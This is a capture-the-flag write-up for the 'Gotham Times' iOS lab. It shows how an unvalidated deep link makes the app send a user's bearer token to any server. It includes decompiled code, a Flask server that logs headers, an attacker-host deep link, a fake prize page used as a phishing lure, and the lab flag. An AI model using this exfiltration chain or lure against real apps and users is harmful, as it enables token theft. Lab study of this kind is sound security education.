Skip to content

Write-up: MobileHackingLab - Gotham Times

Updated: at 04:40 PM

Introduction

Gotham Times is an iOS lab from MobileHackingLab where you exploit a vulnerability in the app deep links to leak sensitive information.


Methodology

Explore the application

The application is fairly small, only consisting of three screens.

The first screen is a login screen, where you can use test/test to log into the application.

Login screen

After logging in , you are navigated to the Latest News screen, which displays various news articles. The content is static, and you can not click through to a full article.

News screen

The final screen is the profile screen which displays your currently logged-in user and also allows you to log out.

News screen

Since we already know the lab contains a deep link vulnerability, which we derived from the lab description, let’s look at the source code next.


Review source code

First, let’s check the Info.plist file to see if we can find anything related to the URL schemes for the application.

plistutil -p Payload/Gotham\ Times.app/Info.plist

We can see information about the URL schemes:

"CFBundleURLTypes": [
    {
      "CFBundleTypeRole": "Viewer",
      "CFBundleURLName": "com.mobilehackinglab.Gotham-Times",
      "CFBundleURLSchemes": [
        "gothamtimes"
      ]
    }
  ],

And also, which components will handle the deep links:

"UIApplicationSceneManifest": {
    "UIApplicationSupportsMultipleScenes": false,
    "UISceneConfigurations": {
      "UIWindowSceneSessionRoleApplication": [
        {
          "UISceneConfigurationName": "Default Configuration",
          "UISceneDelegateClassName": "Gotham_Times.SceneDelegate",
          "UISceneStoryboardFile": "Main"
        }
      ]
    }
  },

Next we will look at the source in Ghidra to see if we can identify what Gotham_Times.SceneDelegate does.


/* Gotham_Times.SceneDelegate.scene(_: __C.UIScene, openURLContexts:
   Swift.Set<__C.UIOpenURLContext>) -> () */

void __thiscall
Gotham_Times::SceneDelegate::scene(SceneDelegate *this,long param_1,undefined *openURLContexts)

{
  long lVar1;
  String SVar2;
  SceneDelegate *pSVar3;
  StaticString SVar4;
  code *pcVar5;
  bool bVar6;
  long lVar7;
  undefined *puVar8;
  Iterator IVar9;
  URL UVar10;
  long *plVar11;
  URL UVar12;
  UIStoryboard *pUVar13;
  UIWindow *pUVar14;
  NewsController *pNVar15;
  Set SVar16;
  char *pcVar17;
  void *pvVar18;
  void *in_x5;
  long extraout_x8;
  long extraout_x8_00;
  long extraout_x8_01;
  undefined1 auVar19 [16];
  tuple2.conflict1 tVar20;
  String SVar21;
  String SVar22;
  String SVar23;
  String SVar24;
  undefined1 auStack_3b0 [8];
  undefined8 uStack_3a8;
  undefined4 auStack_3a0 [4];
  UIStoryboard *local_390;
  UIStoryboard *local_388;
  UIStoryboard *local_380;
  UIStoryboard *local_378;
  UIWindow **local_370;
  UIWindow *local_368;
  UIWindow **local_360;
  UIWindow *local_358;
  undefined4 local_34c;
  void *local_348;
  UIStoryboard *local_340;
  NSString *local_338;
  UIStoryboard *local_330;
  UIStoryboard *local_328;
  undefined8 local_320;
  UINavigationController *local_318;
  uint local_30c;
  char *local_308;
  void *local_300;
  void *local_2f8;
  undefined *local_2f0;
  char *local_2e8;
  void *local_2e0;
  uint local_2d4;
  char *local_2d0;
  char *local_2c8;
  void *local_2c0;
  void *local_2b8;
  undefined **local_2b0;
  uint local_2a8;
  uint local_2a4;
  long *local_2a0;
  undefined8 local_298;
  undefined *local_290;
  char *local_288;
  char *local_280;
  char *local_278;
  char *local_270;
  protocol_t *local_268;
  undefined *local_260;
  undefined *local_258;
  code *local_250;
  code *local_248;
  char *local_240;
  undefined *local_238;
  long local_230;
  void *local_228;
  undefined *local_220;
  undefined *local_218;
  long local_210;
  undefined8 local_208;
  undefined1 *local_200;
  long local_1f8;
  long local_1f0;
  long local_1e8;
  long local_1e0;
  SceneDelegate *local_1d8;
  undefined *local_1d0;
  ulong *local_1c8;
  StaticString local_1c0;
  char *local_1b8;
  char *local_1b0;
  Set local_1a8;
  undefined *local_1a0;
  long local_198;
  ulong local_190;
  undefined *local_188;
  ulong local_180;
  undefined *local_178;
  ulong local_170;
  long local_168;
  ulong local_160;
  long local_158;
  long local_150;
  long local_148;
  char *local_140;
  void *local_138;
  UIStoryboard *local_130;
  UIWindow *local_128;
  UIWindow *local_120;
  UINavigationController *local_118;
  UIStoryboard *local_110;
  UIStoryboard *local_108;
  undefined8 uStack_100;
  long local_f8;
  char *local_f0;
  void *local_e8;
  char *local_e0;
  void *local_d8;
  undefined *local_d0;
  long local_c8;
  char *local_c0;
  void *local_b8;
  undefined *local_b0;
  undefined *local_a8;
  ulong auStack_a0 [5];
  long local_78;
  SceneDelegate *local_70;
  undefined *local_68;
  long local_60;
  undefined1 auStack_58 [40];
  undefined7 extraout_var;

  local_1d0 = PTR_$$type_metadata_for_Any_100028708 + 8;
  local_1c8 = (ulong *)PTR__swift_isaMask_100028640;
  local_1c0.unknown = "Fatal error";
  local_1b8 = "Unexpectedly found nil while unwrapping an Optional value";
  local_1b0 = "Gotham_Times/SceneDelegate.swift";
  local_60 = 0;
  local_68 = (undefined *)0x0;
  local_70 = (SceneDelegate *)0x0;
  local_78 = 0;
  local_1d8 = this;
  local_1a8.unknown = openURLContexts;
  local_150 = param_1;
  _memset(auStack_a0,0,0x28);
  local_b0 = (undefined *)0x0;
  local_e0 = (char *)0x0;
  local_d8 = (void *)0x0;
  local_108 = (UIStoryboard *)0x0;
  local_110 = (UIStoryboard *)0x0;
  local_118 = (UINavigationController *)0x0;
  local_130 = (UIStoryboard *)0x0;
  local_1a0 = (undefined *)Foundation::URL::typeMetadataAccessor();
  local_198 = *(long *)(local_1a0 + -8);
  local_190 = *(long *)(local_198 + 0x40) + 0xfU & 0xfffffffffffffff0;
  lVar7 = local_150;
  SVar16.unknown = local_1a8.unknown;
  (*(code *)PTR____chkstk_darwin_1000281f0)();
  puVar8 = (undefined *)((long)&local_390 - local_190);
  local_180 = extraout_x8 + 0xfU & 0xfffffffffffffff0;
  local_188 = puVar8;
  (*(code *)PTR____chkstk_darwin_1000281f0)();
  puVar8 = puVar8 + -local_180;
  local_170 = extraout_x8_00 + 0xfU & 0xfffffffffffffff0;
  local_178 = puVar8;
  (*(code *)PTR____chkstk_darwin_1000281f0)();
  lVar1 = (long)puVar8 - local_170;
  local_160 = extraout_x8_01 + 0xfU & 0xfffffffffffffff0;
  local_168 = lVar1;
  (*(code *)PTR____chkstk_darwin_1000281f0)();
  lVar1 = lVar1 - local_160;
  local_158 = lVar1;
  local_70 = this;
  local_68 = SVar16.unknown;
  local_60 = lVar7;
  _objc_retain();
  puVar8 = &_OBJC_CLASS_$_UIWindowScene;
  _objc_opt_self(&_OBJC_CLASS_$_UIWindowScene);
  lVar7 = local_150;
  _swift_dynamicCastObjCClass(local_150,puVar8);
  local_1e0 = lVar7;
  local_148 = lVar7;
  if (lVar7 == 0) {
    local_1e8 = 0;
    _objc_release(local_150);
    local_1e0 = local_1e8;
  }
  local_1f0 = local_1e0;
  if (local_1e0 != 0) {
    local_1f8 = local_1e0;
    local_210 = local_1e0;
    local_78 = local_1e0;
    _swift_bridgeObjectRetain(local_1a8.unknown);
    auVar19 = __C::UIOpenURLContext::typeMetadataAccessor();
    local_208 = auVar19._0_8_;
    __C::UIOpenURLContext::$lazy_protocol_witness_table_accessor();
    local_200 = auStack_58;
    Swift::Set::$makeIterator(local_1a8);
    _memcpy(auStack_a0,local_200,0x28);
    while( true ) {
      IVar9.unknown =
           (undefined *)
           ___swift_instantiateConcreteTypeFromMangledName
                     (&
                      $$demangling_cache_variable_for_type_metadata_for_Swift.Set<__C.UIOpenURLConte xt>.Iterator
                     );
      Swift::Set::Iterator::$next(IVar9);
      UVar12.unknown = local_178;
      local_218 = local_a8;
      if (local_a8 == (undefined *)0x0) break;
      local_220 = local_a8;
      local_260 = local_a8;
      local_b0 = local_a8;
      tVar20 = Swift::$_allocateUninitializedArray(1);
      local_2a0 = (long *)tVar20.1;
      local_298 = tVar20._0_8_;
      local_268 = &objc::protocol_t::WKUIDelegate;
      pcVar17 = "URL";
      UVar10.unknown = local_260;
      _objc_msgSend();
      _objc_retainAutoreleasedReturnValue();
      local_290 = UVar10.unknown;
      Foundation::URL::$_unconditionallyBridgeFromObjectiveC(UVar10);
      local_2a0[3] = (long)local_1a0;
      plVar11 = ___swift_allocate_boxed_opaque_existential_0(local_2a0,(long *)pcVar17);
      (**(code **)(local_198 + 0x20))(plVar11,local_158,local_1a0);
      local_270 = (char *)Swift::$_finalizeUninitializedArray(local_298);
      _objc_release(local_290);
      SVar21 = Swift::$print();
      local_278 = (char *)SVar21.bridgeObject;
      local_288 = SVar21.str;
      SVar21 = Swift::$print();
      pcVar17 = (char *)SVar21.bridgeObject;
      SVar22.bridgeObject = local_288;
      SVar22.str = local_270;
      SVar21.bridgeObject = SVar21.str;
      SVar21.str = local_278;
      local_280 = pcVar17;
      Swift::$print(SVar22,SVar21);
      _swift_bridgeObjectRelease(local_280);
      _swift_bridgeObjectRelease(local_278);
      _swift_bridgeObjectRelease(local_270);
      UVar10.unknown = local_260;
      _objc_msgSend(local_260,local_268[0x2e].instanceProperties);
      _objc_retainAutoreleasedReturnValue();
      local_258 = UVar10.unknown;
      Foundation::URL::$_unconditionallyBridgeFromObjectiveC(UVar10);
      local_250 = *(code **)(local_198 + 0x10);
      lVar7 = local_168;
      (*local_250)(UVar12.unknown,local_168,local_1a0);
      Foundation::URL::$get_host(UVar12);
      local_248 = *(code **)(local_198 + 8);
      local_238 = UVar12.unknown;
      local_230 = lVar7;
      (*local_248)(local_178,local_1a0);
      (*local_248)(local_168,local_1a0);
      _swift_bridgeObjectRetain(local_230);
      SVar21 = Swift::String::init("open",4,1);
      local_228 = SVar21.bridgeObject;
      local_240 = SVar21.str;
      _swift_bridgeObjectRetain();
      local_d0 = local_238;
      local_c8 = local_230;
      local_c0 = local_240;
      local_b8 = local_228;
      if (local_230 == 0) {
        if (local_228 != (void *)0x0) goto LAB_1000195a4;
        $$outlined_destroy_of_Swift.String?((long)&local_d0);
        local_2a4 = 1;
      }
      else {
        $$outlined_init_with_copy_of_Swift.String?(&local_d0,&local_140);
        if (local_b8 == (void *)0x0) {
          $$outlined_destroy_of_Swift.String((long)&local_140);
LAB_1000195a4:
          $$outlined_destroy_of_(Swift.String?,Swift.String?)((long)&local_d0);
          local_2a4 = 0;
        }
        else {
          local_2d0 = local_140;
          local_2b8 = local_138;
          _swift_bridgeObjectRetain();
          local_2c8 = local_c0;
          local_2b0 = &local_d0;
          local_2c0 = local_b8;
          _swift_bridgeObjectRetain();
          SVar2.bridgeObject = local_2c0;
          SVar2.str = local_2c8;
          SVar23.bridgeObject = local_2b8;
          SVar23.str = local_2d0;
          SVar24.bridgeObject = in_x5;
          SVar24.str = pcVar17;
          bVar6 = Swift::String::==_infix(SVar23,SVar2,SVar24);
          local_2a8 = (uint)CONCAT71(extraout_var,bVar6);
          _swift_bridgeObjectRelease(local_2c0);
          _swift_bridgeObjectRelease(local_2b8);
          _swift_bridgeObjectRelease(local_2c0);
          _swift_bridgeObjectRelease(local_2b8);
          $$outlined_destroy_of_Swift.String?((long)local_2b0);
          local_2a4 = local_2a8;
        }
      }
      local_2d4 = local_2a4;
      _swift_bridgeObjectRelease(local_228);
      _swift_bridgeObjectRelease(local_230);
      _objc_release(local_258);
      UVar12.unknown = local_188;
      if ((local_2d4 & 1) != 0) {
        UVar10.unknown = local_260;
        _objc_msgSend(local_260,"URL");
        _objc_retainAutoreleasedReturnValue();
        local_2f0 = UVar10.unknown;
        Foundation::URL::$_unconditionallyBridgeFromObjectiveC(UVar10);
        (*local_250)(UVar12.unknown,local_158,local_1a0);
        SVar21 = Foundation::URL::get_absoluteString(UVar12);
        pSVar3 = local_1d8;
        local_2f8 = SVar21.bridgeObject;
        local_308 = SVar21.str;
        (*local_248)(local_188,local_1a0);
        (*local_248)(local_158,local_1a0);
        SVar21 = Swift::String::init("url",3,1);
        local_300 = SVar21.bridgeObject;
        pcVar17 = local_308;
        pvVar18 = local_2f8;
        (**(code **)((*(ulong *)pSVar3 & *local_1c8) + 0x78))(local_308,local_2f8,SVar21.str);
        local_2e8 = pcVar17;
        local_2e0 = pvVar18;
        _swift_bridgeObjectRelease(local_300);
        _swift_bridgeObjectRelease(local_2f8);
        _objc_release(local_2f0);
        local_e0 = local_2e8;
        local_d8 = local_2e0;
        local_f0 = local_2e8;
        local_e8 = local_2e0;
        $$outlined_init_with_copy_of_Swift.String?(&local_f0,&uStack_100);
        bVar6 = local_f8 != 0;
        if (bVar6) {
          $$outlined_destroy_of_Swift.String?((long)&uStack_100);
        }
        local_30c = (uint)bVar6;
        if (local_30c != 0) {
          local_320 = 0;
          auVar19 = __C::UIStoryboard::typeMetadataAccessor();
          local_34c = 1;
          SVar21 = Swift::String::init("Main",4,1);
          local_340 = __C::UIStoryboard::$__allocating_init
                                (auVar19._0_8_,SVar21.str,SVar21.bridgeObject,local_320);
          local_108 = local_340;
          SVar21 = Swift::String::init("TabbedControllerID",0x12,(byte)local_34c & 1);
          local_348 = SVar21.bridgeObject;
          local_338 = (extension_Foundation)::Swift::String::_bridgeToObjectiveC();
          _swift_bridgeObjectRelease(local_348);
          pUVar13 = local_340;
          _objc_msgSend(local_340,"instantiateViewControllerWithIdentifier:",local_338);
          _objc_retainAutoreleasedReturnValue();
          local_330 = pUVar13;
          _objc_release(local_338);
          puVar8 = &_OBJC_CLASS_$_UITabBarController;
          _objc_opt_self(&_OBJC_CLASS_$_UITabBarController);
          pUVar13 = local_330;
          _swift_dynamicCastObjCClassUnconditional(local_330,puVar8,0,0);
          local_328 = pUVar13;
          local_110 = pUVar13;
          _objc_msgSend();
          auVar19 = __C::UINavigationController::typeMetadataAccessor();
          _objc_retain(local_328,auVar19._8_8_);
          local_318 = __C::UINavigationController::__allocating_init(auVar19._0_8_,local_328);
          local_118 = local_318;
          auVar19 = __C::UIWindow::typeMetadataAccessor();
          _objc_retain(local_210,auVar19._8_8_);
          pUVar14 = __C::UIWindow::__allocating_init(auVar19._0_8_,local_210);
          (**(code **)((*(ulong *)local_1d8 & *local_1c8) + 0x60))();
          (**(code **)((*(ulong *)local_1d8 & *local_1c8) + 0x58))();
          local_120 = pUVar14;
          if (pUVar14 == (UIWindow *)0x0) {
            pUVar14 = (UIWindow *)$$outlined_destroy_of___C.UIWindow?(&local_120);
          }
          else {
            local_360 = &local_120;
            local_358 = pUVar14;
            _objc_retain();
            $$outlined_destroy_of___C.UIWindow?(local_360);
            _objc_retain(local_318);
            _objc_msgSend(local_358,"setRootViewController:",local_318);
            _objc_release(local_318);
            pUVar14 = local_358;
            _objc_release();
          }
          (**(code **)((*(ulong *)local_1d8 & *local_1c8) + 0x58))();
          local_128 = pUVar14;
          if (pUVar14 == (UIWindow *)0x0) {
            $$outlined_destroy_of___C.UIWindow?(&local_128);
          }
          else {
            local_370 = &local_128;
            local_368 = pUVar14;
            _objc_retain();
            $$outlined_destroy_of___C.UIWindow?(local_370);
            _objc_msgSend(local_368,"makeKeyAndVisible");
            _objc_release(local_368);
          }
          pUVar13 = local_328;
          _objc_msgSend(local_328,"selectedViewController");
          _objc_retainAutoreleasedReturnValue();
          pcVar17 = local_1b8;
          SVar4.unknown = local_1c0.unknown;
          local_378 = pUVar13;
          if (pUVar13 == (UIStoryboard *)0x0) {
            *(undefined1 *)(lVar1 + -0x20) = 2;
            *(undefined8 *)(lVar1 + -0x18) = 0x2b;
            *(undefined4 *)(lVar1 + -0x10) = 0;
            Swift::_assertionFailure
                      (SVar4,(StaticString)0xb,(StaticString)0x2,(__uint64)pcVar17,0x39);
                    /* WARNING: Does not return */
            pcVar5 = (code *)SoftwareBreakpoint(1,0x1000199cc);
            (*pcVar5)();
          }
          local_390 = pUVar13;
          local_380 = pUVar13;
          pNVar15 = NewsController::typeMetadataAccessor();
          pUVar13 = local_390;
          _swift_dynamicCastClassUnconditional(local_390,pNVar15,0,0);
          local_388 = pUVar13;
          local_130 = pUVar13;
          _swift_bridgeObjectRetain(local_2e0);
          (**(code **)((*(ulong *)pUVar13 & *local_1c8) + 0x88))(local_2e8,local_2e0);
          (**(code **)((*(ulong *)local_388 & *local_1c8) + 0xa0))();
          _objc_release(local_388);
          _objc_release(local_318);
          _objc_release(local_328);
          _objc_release(local_340);
        }
        _swift_bridgeObjectRelease(local_2e0);
      }
      _objc_release(local_260);
    }
    $$outlined_destroy_of_Swift.Set<>.Iterator(auStack_a0);
    _objc_release(local_210);
  }
  return;
}

A high-level summary of what the code above does:

As an example, if we use gothamtimes://open?url=mobilehackinglab.com

Let’s try this ourselves:

frida -U -f "com.mobilehackinglab.Gotham-Times" -l ../hide-keyboard.js -l ../open-url.js
Spawning `com.mobilehackinglab.Gotham-Times`...
Spawned `com.mobilehackinglab.Gotham-Times`. Resuming main thread!
[iPhone::com.mobilehackinglab.Gotham-Times ]->
[iPhone::com.mobilehackinglab.Gotham-Times ]->openURL("gothamtimes://open?url=mobilehackinglab.com");

Something broke, we get a blank screen.

News screen

Let’s take a look at the network traffic to see what happens when you try to load a custom URL using a deep link.


Review network traffic

Executing the previous deep link, gothamtimes://open?url=mobilehackinglab.com, and observing the Burp proxy, it shows no connections being made.

Let’s modify it by adding the protocol to the URL as well:

openURL("gothamtimes://open?url=https://www.mobilehackinglab.com");

We still see a blank screen in the application, but in Burp we see some traffic!

GET / HTTP/1.1
Host: www.mobilehackinglab.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Sec-Fetch-Site: none
Sec-Fetch-Dest: document
Accept-Language: en-GB,en;q=0.9
Flag: FLAG{d33ply-l1nk3d(t0-w3bk1t}
Sec-Fetch-Mode: navigate
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148
Authorization: Bearer <YOUR_TOKEN>
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

The app took the URL from our deep link and just executed it.

What makes it worse is that it also sent the auth token along with the request causing a data leak.

If we were to host our own server, construct a link containing our deep link that points to our server, and get a user to tap it, we would receive their leaked token in our server logs.


Identify vulnerability

The vulnerability is an open redirect vulnerability which also leaks sensitive information.

The application does not have an allow list of URLs it is allowed to open, so it will open any URL you pass in the deep link.

By using a deep link with a malicious server address, we can trick the user into tapping the link and leaking their auth token.


Create exploit

For us to exploit this we will need to do the following:

Server

For the server component, we are going to write a basic server using Python and the Flask framework.

fake_server.py

from flask import Flask, request

app = Flask(__name__)


@app.route("/")
def home():
    print(request.headers)
    return {}

This will expose an API with a / endpoint that will print out the headers it receives.

For our attack to work we will need to create a new deep link containing our server address.

gothamtimes://open?url=http://192.168.2.5:9090

And finally, we can create a malicious website that will trick our user into clicking our link.

For this we can use our existing API server that we already have; we will just add another endpoint.

@app.route("/congratulations")
def congratulations():
    return """
        <html>
        <head>
            <title>
                Congratulations!
            </title>
        </head>
        <body>
            Congratulations! You have won a super duper cool prize, tap <a href="gothamtimes://open?url=http://192.168.2.5:9090">HERE</a> to open the Gotham Times app to read the local news article and find out how to claim your prize!
        </body>
        </html>
    """

We can use social engineering to get the user to open the page that we hosted, and when they tap on the link it will open up the app, which will connect to our server and leak their auth token.


Exploitation

  1. Run our server
flask --app fake_server run --host=0.0.0.0 --port=9090
 * Serving Flask app 'fake_server'
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (0.0.0.0)
 * Running on http://127.0.0.1:9090
 * Running on http://192.168.2.5:9090
Press CTRL+C to quit
  1. Use social engineering to make the user open up the page hosted on our server on their mobile device:
Phishing webpage
  1. After the user taps the link and the app opens we observe the server logs:
Deep link prompt
Host: 192.168.2.5:9090
Connection: keep-alive
Flag: FLAG{d33ply-l1nk3d(t0-w3bk1t}
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148
Authorization: Bearer <USER_AUTH_TOKEN>
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate, br


192.168.2.5 - - [01/Aug/2025 16:33:31] "GET / HTTP/1.1" 200 -

Final thoughts

Debugging the deep link in this lab was challenging and time consuming.

The fact that the app only shows a blank screen when someone does not work also did not help.

Eventually we were able to craft a payload that works, and the final exploit chain was fun to set up.

The lab provides insight into how important it is to do proper validation on user input but and also lock down resources your application is allowed to connect to.